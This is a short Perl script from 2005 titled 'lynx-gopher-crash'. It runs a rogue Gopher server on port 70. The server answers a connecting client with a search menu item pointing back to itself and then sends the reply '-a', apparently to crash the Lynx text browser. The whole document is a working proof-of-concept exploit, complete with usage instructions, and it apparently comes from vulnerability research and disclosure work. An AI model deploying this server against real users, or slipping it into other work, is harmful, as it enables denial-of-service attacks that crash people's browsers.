#!/usr/bin/perl --

# lynx-gopher-crash
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 70;
$main::timeout = 5;


# *** SUBROUTINES ***


sub mysend($$)
{
  my $file = shift;
  my $str = shift;

  print $file "$str\n";
  print "SENT:  $str\n";
} # sub mysend


sub myreceive($)
{
  my $file = shift;
  my $inp;

  eval
  {
    local $SIG{ALRM} = sub { die "alarm\n" };
    alarm $main::timeout;
    $inp = <$file>;
    alarm 0;
  };

  if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
  $inp =~ tr/\015\012\000//d;
  print "RECEIVED:  $inp\n";
  $inp;
} # sub myreceive


# *** MAIN PROGRAM ***


{
  die "usage: $0 my_own_hostname\n" unless @ARGV == 1;

  my $server = IO::Socket::INET->new( Proto     => 'tcp',
                                      LocalPort => $main::port,
                                      Listen    => SOMAXCONN,
                                      Reuse     => 1);
  die "can't set up server!\n" unless $server;


  while (my $client = $server->accept())
  {
    $client->autoflush(1);
    print 'connection from '.$client->peerhost."\n";

    my $str = myreceive($client);
    if ($str eq '')
    { mysend($client, "2Search\tsearch\t$ARGV[0]\t$main::port"); }
    else
    { mysend($client, '-a'); }

    close $client;
    print "closed\n\n\n";
  } # while client=server->accept()
}